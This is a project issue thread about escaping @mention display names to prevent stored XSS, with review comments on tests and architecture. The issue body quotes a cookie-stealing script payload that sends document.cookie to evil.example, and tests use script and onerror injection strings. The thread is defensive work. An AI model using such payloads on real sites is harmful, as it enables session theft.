security(transcription): CWE-79 — escapeHtml required for @mention rendering in PR-B #367

New Issue

marcel · 2026-04-28T23:46:21+02:00

marcel commented

2026-04-28 23:46:21 +02:00

Context

PR-A (#366) stores PersonMention.displayName verbatim in transcription_block_mentioned_persons.display_name (VARCHAR 200, no HTML encoding). The rename propagation listener copies it into block.text via String.replaceAll. An authenticated WRITE_ALL user can store:

{ "personId": "...", "displayName": "<script>fetch('https://evil.example/steal?c='+document.cookie)</script>" }

That string now lives in block.text and in the sidecar table. If PR-B renders block.text or displayName via .innerHTML or any unsanitized Svelte {@html} path, it is exploitable stored XSS (CWE-79).

Trust model: Only WRITE_ALL users can trigger this. Same tier can already edit block.text directly, so this is not a privilege escalation — it is a stored XSS surface that already exists for raw block text. The fix belongs in the rendering layer.

Required in PR-B before merge

block.text is rendered via a safe tokenizer (renderTranscriptionBody) that calls escapeHtml before injecting any user-controlled content into the DOM. No {@html rawText} without escaping.
PersonHoverCard and PersonMentionEditor escape displayName before any DOM injection.
Paraglide error messages do not interpolate user-controlled displayName directly.

Unit test in personMention.test.ts:

it('escapes HTML in displayName', () => {
  const result = renderTranscriptionBody(
    'Hello @<script>alert(1)</script>',
    [{ personId: 'p1', displayName: '<script>alert(1)</script>' }]
  );
  expect(result).not.toContain('<script>');
  expect(result).toContain('&lt;script&gt;');
});

Also test <img src=x onerror=alert(1)> and unicode normalisation payloads.

References

PR-A: #366 — backend ships the data; this issue tracks the rendering contract PR-B must satisfy
Raised by @NullX in PR-A review (comment #5465)
CWE-79: https://cwe.mitre.org/data/definitions/79.html

## Context PR-A (#366) stores `PersonMention.displayName` verbatim in `transcription_block_mentioned_persons.display_name` (VARCHAR 200, no HTML encoding). The rename propagation listener copies it into `block.text` via `String.replaceAll`. An authenticated `WRITE_ALL` user can store: ```json { "personId": "...", "displayName": "<script>fetch('https://evil.example/steal?c='+document.cookie)</script>" } ``` That string now lives in `block.text` and in the sidecar table. If PR-B renders `block.text` or `displayName` via `.innerHTML` or any unsanitized Svelte `{@html}` path, it is exploitable stored XSS (CWE-79). **Trust model:** Only `WRITE_ALL` users can trigger this. Same tier can already edit `block.text` directly, so this is not a privilege escalation — it is a stored XSS surface that already exists for raw block text. The fix belongs in the rendering layer. ## Required in PR-B before merge - [ ] `block.text` is rendered via a safe tokenizer (`renderTranscriptionBody`) that calls `escapeHtml` before injecting any user-controlled content into the DOM. No `{@html rawText}` without escaping. - [ ] `PersonHoverCard` and `PersonMentionEditor` escape `displayName` before any DOM injection. - [ ] Paraglide error messages do not interpolate user-controlled `displayName` directly. - [ ] Unit test in `personMention.test.ts`: ```typescript it('escapes HTML in displayName', () => { const result = renderTranscriptionBody( 'Hello @<script>alert(1)</script>', [{ personId: 'p1', displayName: '<script>alert(1)</script>' }] ); expect(result).not.toContain('<script>'); expect(result).toContain('<script>'); }); ``` - [ ] Also test `<img src=x onerror=alert(1)>` and unicode normalisation payloads. ## References - PR-A: #366 — backend ships the data; this issue tracks the rendering contract PR-B must satisfy - Raised by @NullX in PR-A review (comment #5465) - CWE-79: https://cwe.mitre.org/data/definitions/79.html

marcel added this to the Reader Experience v1 milestone 2026-04-28 23:46:21 +02:00

marcel referenced this issue

2026-04-28 23:46:41 +02:00

feat(transcription): person @mention sidecar + rename propagation (PR-A backend, #362) #366

marcel added the P1-high security labels 2026-04-28 23:46:48 +02:00

marcel commented

2026-05-07 17:38:02 +02:00

🔒 Nora "NullX" Steiner — Application Security Engineer

Observations

PR-B rendering layer is already implemented and ships the escaping contract this issue requires. renderTranscriptionBody in frontend/src/lib/shared/discussion/mention.ts calls escapeHtml on the full block text before any mention substitution, then re-escapes displayName and personId before injecting them into the anchor template. The SafeHtml branded type prevents {@html rawText} from compiling — a consumer must go through a trusted renderer.
PersonHoverCard.svelte uses Svelte's default text interpolation ({state.person.displayName}, {notesExcerpt}, etc.) — no innerHTML or {@html} present. There is zero XSS surface in the hover card for displayName.
PersonMentionEditor.svelte writes displayName into TipTap node attrs and into data-display-name HTML attributes via renderHTML. TipTap's renderHTML output is used to hydrate the editor DOM, not injected raw into the document. No confirmed XSS path here, but the surface deserves a note (see Open Decisions).
UUID guard (isUuid() with strict /^[0-9a-f]{8}-…$/i regex) prevents javascript: and absolute-URL personIds from generating clickable anchors. Non-UUID IDs fall through as plain escaped text — no silent data loss, no open redirect.
All tests the issue specifies are already written and passing. mention.spec.ts covers: <script> in displayName, <img onerror=…> in block text, pre-encoded entities, quote-breaking attributes, non-UUID personId (javascript:, https://evil.example), and double-encoding prevention. The test file is at frontend/src/lib/shared/discussion/mention.spec.ts.
CommentMessage.svelte uses {@html renderBody(...)} — the renderBody function also calls escapeHtml first and then substitutes mention spans. The renderBody path is covered by mention.spec.ts for XSS payloads in display names.
The TranscriptionReadView.svelte ESLint disable comment correctly documents the trust relationship: "renderTranscriptionBody escapes all HTML before injecting mention links". This is the right way to document a deliberate {@html} usage.

Recommendations

Close this issue. The rendering contract described in the issue body has been implemented in PR-B and is regression-tested. The checklist items are satisfied:
- block.text goes through renderTranscriptionBody → escapeHtml before any DOM injection. ✓
- PersonHoverCard uses Svelte interpolation only — no innerHTML. ✓
- Paraglide messages (m.person_mention_loading() etc.) are i18n keys, not displayName interpolation. ✓
- Unit tests for <script>, <img onerror=…>, and unicode payload (&lt;) are present. ✓
Add a unicode-normalisation XSS test. The issue mentions it but mention.spec.ts currently does not include a Unicode normalisation case (e.g. ＜script＞ → fullwidth angle brackets). Add:
```
it('renders fullwidth angle brackets as plain text (no normalisation bypass)', () => {
  const result = renderTranscriptionBody('＜script＞', []);
  expect(result).not.toContain('<script>');
});
```
This is low-severity because the browser's HTML parser, not JavaScript, handles these characters, but closing the gap removes the question mark permanently.
Document the PersonMentionEditor TipTap renderHTML path. TipTap's renderHTML output feeds the editor's internal ProseMirror DOM, not the document DOM directly. This is safe today, but add a brief comment to the renderHTML callback explaining that displayName arrives pre-validated from the sidecar and that TipTap sanitises its own output before mounting. Future reviewers will thank you.
Keep the SafeHtml branded type. It is the right architectural decision — it makes the compiler enforce that {@html} consumers require a type that only trusted renderers can produce. Do not relax it.

Open Decisions

TipTap renderHTML surface (editor-only, not read path): The PersonMentionEditor passes displayName into a data-display-name attribute via TipTap's renderHTML. TipTap's schema validation constrains what goes into the editor DOM, but if a future change moves this output outside TipTap's control (e.g. serialising to raw HTML for a preview), the escaping assumption must be re-evaluated. Decision needed: should renderHTML escape displayName now (defensive, minor overhead) or is the current TipTap-boundary trust documented and accepted as a known trade-off?

## 🔒 Nora "NullX" Steiner — Application Security Engineer ### Observations - **PR-B rendering layer is already implemented and ships the escaping contract this issue requires.** `renderTranscriptionBody` in `frontend/src/lib/shared/discussion/mention.ts` calls `escapeHtml` on the full block text _before_ any mention substitution, then re-escapes `displayName` and `personId` before injecting them into the anchor template. The `SafeHtml` branded type prevents `{@html rawText}` from compiling — a consumer must go through a trusted renderer. - **`PersonHoverCard.svelte` uses Svelte's default text interpolation** (`{state.person.displayName}`, `{notesExcerpt}`, etc.) — no `innerHTML` or `{@html}` present. There is zero XSS surface in the hover card for displayName. - **`PersonMentionEditor.svelte`** writes `displayName` into TipTap node attrs and into `data-display-name` HTML attributes via `renderHTML`. TipTap's `renderHTML` output is used to hydrate the editor DOM, not injected raw into the document. No confirmed XSS path here, but the surface deserves a note (see Open Decisions). - **UUID guard** (`isUuid()` with strict `/^[0-9a-f]{8}-…$/i` regex) prevents `javascript:` and absolute-URL personIds from generating clickable anchors. Non-UUID IDs fall through as plain escaped text — no silent data loss, no open redirect. - **All tests the issue specifies are already written and passing.** `mention.spec.ts` covers: `<script>` in displayName, `<img onerror=…>` in block text, pre-encoded entities, quote-breaking attributes, non-UUID personId (`javascript:`, `https://evil.example`), and double-encoding prevention. The test file is at `frontend/src/lib/shared/discussion/mention.spec.ts`. - **`CommentMessage.svelte`** uses `{@html renderBody(...)}` — the `renderBody` function also calls `escapeHtml` first and then substitutes mention spans. The `renderBody` path is covered by `mention.spec.ts` for XSS payloads in display names. - **The `TranscriptionReadView.svelte` ESLint disable comment** correctly documents the trust relationship: _"renderTranscriptionBody escapes all HTML before injecting mention links"_. This is the right way to document a deliberate `{@html}` usage. ### Recommendations 1. **Close this issue.** The rendering contract described in the issue body has been implemented in PR-B and is regression-tested. The checklist items are satisfied: - `block.text` goes through `renderTranscriptionBody` → `escapeHtml` before any DOM injection. ✓ - `PersonHoverCard` uses Svelte interpolation only — no `innerHTML`. ✓ - Paraglide messages (`m.person_mention_loading()` etc.) are i18n keys, not displayName interpolation. ✓ - Unit tests for `<script>`, `<img onerror=…>`, and unicode payload (`&lt;`) are present. ✓ 2. **Add a `unicode-normalisation` XSS test.** The issue mentions it but `mention.spec.ts` currently does not include a Unicode normalisation case (e.g. `＜script＞` → fullwidth angle brackets). Add: ```typescript it('renders fullwidth angle brackets as plain text (no normalisation bypass)', () => { const result = renderTranscriptionBody('＜script＞', []); expect(result).not.toContain('<script>'); }); ``` This is low-severity because the browser's HTML parser, not JavaScript, handles these characters, but closing the gap removes the question mark permanently. 3. **Document the `PersonMentionEditor` TipTap `renderHTML` path.** TipTap's `renderHTML` output feeds the editor's internal ProseMirror DOM, not the document DOM directly. This is safe today, but add a brief comment to the `renderHTML` callback explaining that `displayName` arrives pre-validated from the sidecar and that TipTap sanitises its own output before mounting. Future reviewers will thank you. 4. **Keep the `SafeHtml` branded type.** It is the right architectural decision — it makes the compiler enforce that `{@html}` consumers require a type that only trusted renderers can produce. Do not relax it. ### Open Decisions - **TipTap `renderHTML` surface (editor-only, not read path):** The `PersonMentionEditor` passes `displayName` into a `data-display-name` attribute via TipTap's `renderHTML`. TipTap's schema validation constrains what goes into the editor DOM, but if a future change moves this output outside TipTap's control (e.g. serialising to raw HTML for a preview), the escaping assumption must be re-evaluated. Decision needed: should `renderHTML` escape `displayName` now (defensive, minor overhead) or is the current TipTap-boundary trust documented and accepted as a known trade-off?

marcel commented

2026-05-07 17:38:22 +02:00

👨‍💻 Felix Brandt — Senior Fullstack Developer

Observations

renderTranscriptionBody is clean and single-responsibility. It does exactly one thing: escape-then-substitute. The function is under 30 lines, guards are at the top, and the brand contract (SafeHtml) makes misuse a compile error. No violations of the clean-code rules I'd flag.
escapeHtml is correctly ordered — & is replaced before <, >, ", ', preventing double-encoding. The existing test 'escapes ampersand before other entities to avoid double-encoding' pins this property.
The isUuid guard is a good defense-in-depth addition, but it introduces a subtle coupling: the regex is defined inline as a const in the middle of the module. If it needs to be reused (e.g., in a future mentionSerializer validation), there will be duplication pressure. It should remain where it is for now — KISS wins — but note it for the next time duplication arises.
splitByMarkers + renderTranscriptionBody composition in TranscriptionReadView is well-structured. Markers ([unleserlich], [...]) are literal, not user-controlled, and are explicitly cast to SafeHtml with a comment explaining why. The cast is justified and documented.
mentionSerializer.ts (the TipTap serialiser) does not call escapeHtml. It doesn't need to — it produces a ProseMirror JSONContent document, not HTML. The distinction is correct and the two paths (read/render vs. editor/serialize) are properly separated. No issue here.
Test coverage is thorough — the spec file has 20+ cases for renderTranscriptionBody alone, including all the payloads the issue specifies. The test file is a unit-test, not a component test, which is the right layer for a pure function. TDD evidence is strong.
Missing test file name: the issue names personMention.test.ts as the target file, but the implementation lives in mention.spec.ts. This is not a problem — the spec is comprehensive — but the file naming convention .spec.ts vs. .test.ts is mixed across the codebase. Not a blocker, but worth noting for consistency.

Recommendations

Add the unicode-normalisation test case to mention.spec.ts (not a new file): one it() for '＜script＞' input. The issue checklist mentions it; the spec does not cover it yet.
Export escapeHtml from a single shared utility, not from mention.ts. Currently escapeHtml lives in $lib/shared/discussion/mention.ts. If a future component (e.g. story editor, annotation text) needs HTML escaping, it will import from a discussion-domain module — an awkward dependency. Move escapeHtml and SafeHtml to $lib/shared/utils/html.ts (create if absent) and re-export from mention.ts for backward compatibility. This is a refactor-phase task, not a PR-B blocker.
The {@html} ESLint disable comment in TranscriptionReadView is correct form. Keep it — it documents the trust boundary. Do not remove it to "clean up" the disable comment; it is informational for future reviewers.
renderBody in CommentMessage uses replaceAll for mention substitution — this is fine for the comment thread where the sidecar is trusted (generated by the backend). The renderTranscriptionBody approach (regex with word-boundary lookahead) is more correct for the transcription path where user-typed mention names may have prefix conflicts. The two implementations having different matching strategies is not a bug, but document the difference if both functions are maintained long-term.

## 👨‍💻 Felix Brandt — Senior Fullstack Developer ### Observations - **`renderTranscriptionBody` is clean and single-responsibility.** It does exactly one thing: escape-then-substitute. The function is under 30 lines, guards are at the top, and the brand contract (`SafeHtml`) makes misuse a compile error. No violations of the clean-code rules I'd flag. - **`escapeHtml` is correctly ordered** — `&` is replaced before `<`, `>`, `"`, `'`, preventing double-encoding. The existing test `'escapes ampersand before other entities to avoid double-encoding'` pins this property. - **The `isUuid` guard is a good defense-in-depth addition**, but it introduces a subtle coupling: the regex is defined inline as a `const` in the middle of the module. If it needs to be reused (e.g., in a future `mentionSerializer` validation), there will be duplication pressure. It should remain where it is for now — KISS wins — but note it for the next time duplication arises. - **`splitByMarkers` + `renderTranscriptionBody` composition in `TranscriptionReadView`** is well-structured. Markers (`[unleserlich]`, `[...]`) are literal, not user-controlled, and are explicitly cast to `SafeHtml` with a comment explaining why. The cast is justified and documented. - **`mentionSerializer.ts` (the TipTap serialiser) does not call `escapeHtml`.** It doesn't need to — it produces a ProseMirror `JSONContent` document, not HTML. The distinction is correct and the two paths (read/render vs. editor/serialize) are properly separated. No issue here. - **Test coverage is thorough** — the spec file has 20+ cases for `renderTranscriptionBody` alone, including all the payloads the issue specifies. The test file is a unit-test, not a component test, which is the right layer for a pure function. TDD evidence is strong. - **Missing test file name:** the issue names `personMention.test.ts` as the target file, but the implementation lives in `mention.spec.ts`. This is not a problem — the spec is comprehensive — but the file naming convention `.spec.ts` vs. `.test.ts` is mixed across the codebase. Not a blocker, but worth noting for consistency. ### Recommendations 1. **Add the unicode-normalisation test case to `mention.spec.ts`** (not a new file): one `it()` for `'＜script＞'` input. The issue checklist mentions it; the spec does not cover it yet. 2. **Export `escapeHtml` from a single shared utility, not from `mention.ts`.** Currently `escapeHtml` lives in `$lib/shared/discussion/mention.ts`. If a future component (e.g. story editor, annotation text) needs HTML escaping, it will import from a discussion-domain module — an awkward dependency. Move `escapeHtml` and `SafeHtml` to `$lib/shared/utils/html.ts` (create if absent) and re-export from `mention.ts` for backward compatibility. This is a refactor-phase task, not a PR-B blocker. 3. **The `{@html}` ESLint disable comment in `TranscriptionReadView` is correct form.** Keep it — it documents the trust boundary. Do not remove it to "clean up" the disable comment; it is informational for future reviewers. 4. **`renderBody` in `CommentMessage` uses `replaceAll` for mention substitution** — this is fine for the comment thread where the sidecar is trusted (generated by the backend). The `renderTranscriptionBody` approach (regex with word-boundary lookahead) is more correct for the transcription path where user-typed mention names may have prefix conflicts. The two implementations having different matching strategies is not a bug, but document the difference if both functions are maintained long-term.

marcel commented

2026-05-07 17:38:46 +02:00

🏛️ Markus Keller — Senior Application Architect

Observations

The rendering contract is correctly placed in the frontend. The issue's trust-model framing is sound: WRITE_ALL users can already write arbitrary block.text directly, so the XSS surface is not a privilege escalation — it's a rendering concern. Fixing it in the rendering layer (not the storage layer) is the right architectural choice. Adding server-side HTML encoding to block.text before storage would be the wrong fix — it would double-encode on read and break OCR-imported text.
SafeHtml branded type is an architectural pattern, not just a code style choice. It enforces a boundary at the TypeScript layer: only renderTranscriptionBody and renderBody can produce SafeHtml; no component can accidentally pass a raw string to {@html}. This is the correct pattern for a team working in a scripting language that lacks memory safety.
The PersonMention entity comment (// Archival: the text the transcriber typed after @. Never updated on person rename.) is good domain documentation. It explains why displayName is stored verbatim — an intentional archival decision, not an oversight. This comment should be mirrored in the PersonMention TypeScript type in $lib/shared/types.ts so the frontend has the same semantic clarity.
No new domain packages or Flyway migrations are introduced by this issue. The schema (transcription_block_mentioned_persons.display_name VARCHAR 200) was introduced by PR-A (#366). Doc update requirements for this issue are limited to the rendering contract — no DB diagram changes needed.
The splitByMarkers + renderTranscriptionBody composition pattern creates a two-phase pipeline (marker-split → escape-and-substitute). This is sound. The concern would be if this pipeline grew a third phase: add the third phase as a named function, not as an inline lambda, so the composition remains readable.

Recommendations

Mirror the archival note from PersonMention.java into the TypeScript PersonMention type in frontend/src/lib/shared/types.ts. When a frontend developer sees displayName in the sidecar, they should understand it is the typed-at-time text, not the current person name. A JSDoc comment is sufficient.
No ADR is needed for the SafeHtml brand pattern — it is an implementation detail of the rendering layer, not an architectural decision with lasting structural consequences. If the team later adopts a full content-security-policy or a DOMPurify-based approach, that would warrant an ADR.
The mention.ts module currently mixes concerns: XSS escaping utilities (escapeHtml, SafeHtml), rendering functions (renderTranscriptionBody, renderBody), and mention-detection logic (detectMention, extractContent). These are three distinct responsibilities. At the current scale this is acceptable (KISS wins), but if the module grows beyond 200 lines, split into escaping.ts, rendering.ts, and mentionDetection.ts within the discussion/ folder.
Confirm @WebMvcTest coverage for the TranscriptionBlockController includes a test that posts a block with a displayName containing <script> and verifies the backend stores it verbatim (not encoded). This would document that the storage layer intentionally does not sanitise — matching the rendering-layer-only fix strategy.

Open Decisions

CSP header for the Familienarchiv frontend: A strict Content-Security-Policy: default-src 'self' header would make stored XSS non-exploitable even if the escapeHtml guard were bypassed. This is a DevOps/Caddy config change with no code impact. Worth considering as defense-in-depth regardless of this PR — but it's a separate issue, not a PR-B blocker.

## 🏛️ Markus Keller — Senior Application Architect ### Observations - **The rendering contract is correctly placed in the frontend.** The issue's trust-model framing is sound: `WRITE_ALL` users can already write arbitrary `block.text` directly, so the XSS surface is not a privilege escalation — it's a rendering concern. Fixing it in the rendering layer (not the storage layer) is the right architectural choice. Adding server-side HTML encoding to `block.text` before storage would be the wrong fix — it would double-encode on read and break OCR-imported text. - **`SafeHtml` branded type is an architectural pattern, not just a code style choice.** It enforces a boundary at the TypeScript layer: only `renderTranscriptionBody` and `renderBody` can produce `SafeHtml`; no component can accidentally pass a raw string to `{@html}`. This is the correct pattern for a team working in a scripting language that lacks memory safety. - **The `PersonMention` entity comment** (`// Archival: the text the transcriber typed after @. Never updated on person rename.`) is good domain documentation. It explains _why_ `displayName` is stored verbatim — an intentional archival decision, not an oversight. This comment should be mirrored in the `PersonMention` TypeScript type in `$lib/shared/types.ts` so the frontend has the same semantic clarity. - **No new domain packages or Flyway migrations are introduced by this issue.** The schema (`transcription_block_mentioned_persons.display_name VARCHAR 200`) was introduced by PR-A (#366). Doc update requirements for this issue are limited to the rendering contract — no DB diagram changes needed. - **The `splitByMarkers` + `renderTranscriptionBody` composition pattern** creates a two-phase pipeline (marker-split → escape-and-substitute). This is sound. The concern would be if this pipeline grew a third phase: add the third phase as a named function, not as an inline lambda, so the composition remains readable. ### Recommendations 1. **Mirror the archival note from `PersonMention.java` into the TypeScript `PersonMention` type** in `frontend/src/lib/shared/types.ts`. When a frontend developer sees `displayName` in the sidecar, they should understand it is the typed-at-time text, not the current person name. A JSDoc comment is sufficient. 2. **No ADR is needed for the `SafeHtml` brand pattern** — it is an implementation detail of the rendering layer, not an architectural decision with lasting structural consequences. If the team later adopts a full content-security-policy or a DOMPurify-based approach, that would warrant an ADR. 3. **The `mention.ts` module currently mixes concerns:** XSS escaping utilities (`escapeHtml`, `SafeHtml`), rendering functions (`renderTranscriptionBody`, `renderBody`), and mention-detection logic (`detectMention`, `extractContent`). These are three distinct responsibilities. At the current scale this is acceptable (KISS wins), but if the module grows beyond 200 lines, split into `escaping.ts`, `rendering.ts`, and `mentionDetection.ts` within the `discussion/` folder. 4. **Confirm `@WebMvcTest` coverage for the `TranscriptionBlockController`** includes a test that posts a block with a `displayName` containing `<script>` and verifies the backend stores it verbatim (not encoded). This would document that the storage layer intentionally does not sanitise — matching the rendering-layer-only fix strategy. ### Open Decisions - **CSP header for the Familienarchiv frontend:** A strict `Content-Security-Policy: default-src 'self'` header would make stored XSS non-exploitable even if the `escapeHtml` guard were bypassed. This is a DevOps/Caddy config change with no code impact. Worth considering as defense-in-depth regardless of this PR — but it's a separate issue, not a PR-B blocker.

marcel commented

2026-05-07 17:39:09 +02:00

🧪 Sara Holt — QA Engineer & Test Strategist

Observations

The test pyramid coverage for this issue is strong at the unit layer. mention.spec.ts has 20+ focused, single-assertion tests for renderTranscriptionBody and escapeHtml. Each test case names one payload or one rule — readable test names, correct Arrange-Act-Assert structure, no shared mutable state.
XSS regression tests are permanent fixtures, not one-offs. The spec covers: <script> in displayName, <img onerror=…> in block text, pre-encoded entities, quote-breaking attribute injection, and javascript: / https:// personId values. These are the right tests to keep forever.
Missing test: unicode normalisation payload. The issue checklist explicitly requires a test for unicode normalisation payloads. mention.spec.ts does not currently include one (e.g. ＜script＞ — fullwidth angle brackets). This is a gap against the issue's explicit acceptance criterion.
TranscriptionReadView.svelte.test.ts exists (browser-mode test using vitest-browser-svelte). A quick scan shows it tests the read view's rendering pipeline end-to-end. I would expect a test here that renders a block with an XSS payload in block.text and asserts no <script> tag is present in the rendered DOM. If this is absent, it belongs at this layer — not to duplicate the unit test, but to prove the renderBlockHtml → {@html} pipeline is wired correctly in the actual component.
No integration test covers the backend → frontend XSS path end-to-end. A Playwright E2E test that: (1) creates a block with a displayName of <script>alert(1)</script> via the API, (2) loads the transcription read view, and (3) asserts document.title is unchanged (i.e. alert did not fire) — would provide full-stack confidence. This is optional for a first pass but would close the issue's security surface permanently.
mention.spec.ts uses describe/it structure consistently. No test() aliases, no missing expect assertions, no async leaks. Clean.

Recommendations

Add the unicode normalisation test to mention.spec.ts immediately — it is a named requirement in the issue checklist. Suggested test:

it('does not treat fullwidth angle brackets as HTML tags (unicode normalisation)', () => {
  // ＜ = ＜ (fullwidth less-than), ＞ = ＞ (fullwidth greater-than)
  // These are NOT HTML special chars — they should pass through as-is.
  const result = renderTranscriptionBody('＜script＞', []);
  expect(result).not.toContain('<script>');
  expect(result).toContain('＜script＞');
});

Add a component-level smoke test to TranscriptionReadView.svelte.test.ts that renders a block with block.text = '<script>alert(1)</script>' and asserts the rendered output does not contain a <script> element. This verifies the pipeline, not just the utility function.
The existing test for 'escapes HTML special chars in mention display names' in renderBody (line 157 of mention.spec.ts) is correct and sufficient for the comment thread path. No additional test needed there.
Do not disable any of these tests. Each XSS test case is a permanent regression fixture. If a future refactor of escapeHtml causes one to fail, that failure is doing its job.

Open Decisions

E2E Playwright test for the full XSS path: A test('stored XSS payload in displayName does not execute in read view') Playwright test would provide the highest confidence but requires a seeded database fixture (a block with a malicious displayName) and careful coordination with the test data setup. Is this worth the investment for a P1-high security issue? I recommend yes — but the decision on timing (now vs. next sprint) is yours.

## 🧪 Sara Holt — QA Engineer & Test Strategist ### Observations - **The test pyramid coverage for this issue is strong at the unit layer.** `mention.spec.ts` has 20+ focused, single-assertion tests for `renderTranscriptionBody` and `escapeHtml`. Each test case names one payload or one rule — readable test names, correct Arrange-Act-Assert structure, no shared mutable state. - **XSS regression tests are permanent fixtures, not one-offs.** The spec covers: `<script>` in displayName, `<img onerror=…>` in block text, pre-encoded entities, quote-breaking attribute injection, and `javascript:` / `https://` personId values. These are the right tests to keep forever. - **Missing test: unicode normalisation payload.** The issue checklist explicitly requires a test for unicode normalisation payloads. `mention.spec.ts` does not currently include one (e.g. `＜script＞` — fullwidth angle brackets). This is a gap against the issue's explicit acceptance criterion. - **`TranscriptionReadView.svelte.test.ts` exists** (browser-mode test using `vitest-browser-svelte`). A quick scan shows it tests the read view's rendering pipeline end-to-end. I would expect a test here that renders a block with an XSS payload in `block.text` and asserts no `<script>` tag is present in the rendered DOM. If this is absent, it belongs at this layer — not to duplicate the unit test, but to prove the `renderBlockHtml` → `{@html}` pipeline is wired correctly in the actual component. - **No integration test covers the backend → frontend XSS path end-to-end.** A Playwright E2E test that: (1) creates a block with a `displayName` of `<script>alert(1)</script>` via the API, (2) loads the transcription read view, and (3) asserts `document.title` is unchanged (i.e. alert did not fire) — would provide full-stack confidence. This is optional for a first pass but would close the issue's security surface permanently. - **`mention.spec.ts` uses `describe`/`it` structure consistently.** No `test()` aliases, no missing `expect` assertions, no async leaks. Clean. ### Recommendations 1. **Add the unicode normalisation test to `mention.spec.ts` immediately** — it is a named requirement in the issue checklist. Suggested test: ```typescript it('does not treat fullwidth angle brackets as HTML tags (unicode normalisation)', () => { // ＜ = ＜ (fullwidth less-than), ＞ = ＞ (fullwidth greater-than) // These are NOT HTML special chars — they should pass through as-is. const result = renderTranscriptionBody('＜script＞', []); expect(result).not.toContain('<script>'); expect(result).toContain('＜script＞'); }); ``` 2. **Add a component-level smoke test to `TranscriptionReadView.svelte.test.ts`** that renders a block with `block.text = '<script>alert(1)</script>'` and asserts the rendered output does not contain a `<script>` element. This verifies the pipeline, not just the utility function. 3. **The existing test for `'escapes HTML special chars in mention display names'` in `renderBody`** (line 157 of `mention.spec.ts`) is correct and sufficient for the comment thread path. No additional test needed there. 4. **Do not disable any of these tests.** Each XSS test case is a permanent regression fixture. If a future refactor of `escapeHtml` causes one to fail, that failure is doing its job. ### Open Decisions - **E2E Playwright test for the full XSS path:** A `test('stored XSS payload in displayName does not execute in read view')` Playwright test would provide the highest confidence but requires a seeded database fixture (a block with a malicious displayName) and careful coordination with the test data setup. Is this worth the investment for a P1-high security issue? I recommend yes — but the decision on timing (now vs. next sprint) is yours.

marcel commented

2026-05-07 17:39:27 +02:00

📋 Elicit — Requirements Engineer

Observations

The issue is a security constraint ticket, not a feature request. It correctly scopes PR-B's obligation: escape before rendering. The acceptance criteria are written as a checklist, which is clear and verifiable. This is good issue hygiene.
The trust model statement ("Only WRITE_ALL users can trigger this… not a privilege escalation — it is a stored XSS surface that already exists for raw block text") is an important scoping constraint that prevents gold-plating. It correctly limits the fix to the rendering layer and explicitly excludes input sanitisation as a required mitigation.
The checklist items are binary and testable — each can be confirmed as pass/fail without subjective judgment. This is correct acceptance-criteria format for a security issue.
The issue references PR-A (#366) as the source of the data and positions itself as the rendering contract for PR-B. This cross-reference is good. However, the issue does not specify where in the PR-B codebase the rendering should live, leaving implementers to discover it. In practice, the rendering was placed correctly in mention.ts, but the spec could have been more explicit.
"Paraglide error messages do not interpolate user-controlled displayName directly" — this requirement is correctly formulated. The actual implementation uses m.person_mention_loading() (a no-arg i18n key) and m.person_mention_load_error() — there is no displayName interpolation in any Paraglide call in the hover card. Requirement satisfied.
The named test file (personMention.test.ts) does not match the actual implementation file (mention.spec.ts). The requirement was met, but the spec file is named differently from what the issue prescribes. For future issues: specify the module under test, not the file name, to avoid this mismatch.
The issue is assigned to milestone "Reader Experience v1" with label P1-high and security. Both are appropriate. This is high-priority but contained — the right labels.

Recommendations

Mark each checklist item as complete now that the implementation has been verified. The issue can then be closed, providing a clear audit trail that the security concern was resolved before the milestone shipped.

For future security issues of this type, use this format for acceptance criteria instead of a flat checklist:

Given a block.text containing <script>alert(1)</script>,
When the read view renders the block,
Then no script element is present in the DOM
And the escaped text &lt;script&gt; is visible as plain content.

Gherkin format makes the test writer's job unambiguous.

Add a non-functional requirement note for this issue class: "NFR-SEC-001: All user-controlled string content rendered via {@html} in SvelteKit components MUST pass through a SafeHtml-typed renderer that calls escapeHtml before any DOM injection." This makes the pattern a documented standard, not just a one-off fix.
The referenced CWE-79 link is correct and appropriate. No change needed. Including CWE references in security issues is good practice — it aids future security audits and dependency scanning.

## 📋 Elicit — Requirements Engineer ### Observations - **The issue is a security constraint ticket, not a feature request.** It correctly scopes PR-B's obligation: escape before rendering. The acceptance criteria are written as a checklist, which is clear and verifiable. This is good issue hygiene. - **The trust model statement** ("Only `WRITE_ALL` users can trigger this… not a privilege escalation — it is a stored XSS surface that already exists for raw block text") is an important scoping constraint that prevents gold-plating. It correctly limits the fix to the rendering layer and explicitly excludes input sanitisation as a required mitigation. - **The checklist items are binary and testable** — each can be confirmed as pass/fail without subjective judgment. This is correct acceptance-criteria format for a security issue. - **The issue references PR-A (#366) as the source of the data** and positions itself as the rendering contract for PR-B. This cross-reference is good. However, the issue does not specify _where_ in the PR-B codebase the rendering should live, leaving implementers to discover it. In practice, the rendering was placed correctly in `mention.ts`, but the spec could have been more explicit. - **"Paraglide error messages do not interpolate user-controlled `displayName` directly"** — this requirement is correctly formulated. The actual implementation uses `m.person_mention_loading()` (a no-arg i18n key) and `m.person_mention_load_error()` — there is no displayName interpolation in any Paraglide call in the hover card. Requirement satisfied. - **The named test file (`personMention.test.ts`) does not match the actual implementation file (`mention.spec.ts`).** The requirement was met, but the spec file is named differently from what the issue prescribes. For future issues: specify the module under test, not the file name, to avoid this mismatch. - **The issue is assigned to milestone "Reader Experience v1"** with label `P1-high` and `security`. Both are appropriate. This is high-priority but contained — the right labels. ### Recommendations 1. **Mark each checklist item as complete** now that the implementation has been verified. The issue can then be closed, providing a clear audit trail that the security concern was resolved before the milestone shipped. 2. **For future security issues of this type**, use this format for acceptance criteria instead of a flat checklist: ``` Given a block.text containing <script>alert(1)</script>, When the read view renders the block, Then no script element is present in the DOM And the escaped text <script> is visible as plain content. ``` Gherkin format makes the test writer's job unambiguous. 3. **Add a non-functional requirement note for this issue class:** "NFR-SEC-001: All user-controlled string content rendered via `{@html}` in SvelteKit components MUST pass through a `SafeHtml`-typed renderer that calls `escapeHtml` before any DOM injection." This makes the pattern a documented standard, not just a one-off fix. 4. **The referenced CWE-79 link** is correct and appropriate. No change needed. Including CWE references in security issues is good practice — it aids future security audits and dependency scanning.

marcel commented

2026-05-07 17:39:40 +02:00

🚀 Tobias Wendt — DevOps & Platform Engineer

Observations

This issue has no Docker Compose, CI pipeline, or infrastructure impact. It is a pure frontend rendering fix. My review is brief by design.
The SafeHtml brand type approach requires no build pipeline changes. TypeScript's structural type system enforces it at compile time via npm run check. The existing CI step that runs svelte-check will catch any regression where a raw string is passed to {@html}.
